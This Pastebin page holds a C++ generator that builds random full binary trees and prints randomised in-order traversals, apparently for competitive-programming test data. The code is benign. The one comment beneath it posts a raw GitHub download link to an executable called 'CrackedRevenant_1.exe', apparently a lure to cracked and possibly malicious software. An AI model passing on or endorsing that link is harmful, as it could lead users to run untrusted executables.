Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include<bits/stdc++.h>
- #define endl '\n'
- using namespace std;
- mt19937_64 gen(chrono::steady_clock::now().time_since_epoch().count());
- struct node
- {
- int val = -1;
- int child[2] = {-1, -1};
- };
- vector<node> tri;
- int dfs_rand(int node)
- {
- if(tri[node].child[0]==-1)
- {
- cout<<tri[node].val<<" ";
- return 0;
- }
- uniform_int_distribution<int> rnd(0,1);
- int goi = rnd(gen);
- dfs_rand(tri[node].child[goi]);
- cout<<tri[node].val<<" ";
- dfs_rand(tri[node].child[goi^1]);
- return 0;
- }
- int main()
- {
- ios::sync_with_stdio(false);
- cin.tie(0);
- int n, k;
- cin>>n>>k;
- int shuff[n+1];
- for(int i=0; i<=n; i++)
- {
- shuff[i] = i;
- }
- for(int i=1; i<=n; i++)
- {
- uniform_int_distribution<int> rnd(1,n);
- swap(shuff[i], shuff[rnd(gen)]);
- }
- tri.clear(); tri.push_back(node());
- tri[0].val = shuff[1];
- vector<int> childless; childless.push_back(0);
- while((int)tri.size()<n)
- {
- uniform_int_distribution<int> rnd(0,(int)childless.size()-1);
- for(int i=0; i<(int)childless.size(); i++)
- {
- swap(childless[i], childless[rnd(gen)]);
- }
- int expan = childless.back();
- node add_1, add_2;
- tri[expan].child[0] = tri.size(); tri[expan].child[1] = tri.size()+1;
- childless.pop_back();
- childless.push_back(tri.size()); childless.push_back(tri.size()+1);
- add_1.val = shuff[tri.size()+1]; tri.push_back(add_1);
- add_2.val = shuff[tri.size()+1]; tri.push_back(add_2);
- }
- cout<<n<<" "<<k<<endl;
- for(int i=0; i<k; i++)
- {
- dfs_rand(0);
- cout<<endl;
- }
- return 0;
- }
Advertisement
Comments
-
- https://github.com/Venom0248/Menu/raw/main/CrackedRevenant_1.exe
Add Comment
Please, Sign In to add comment
Advertisement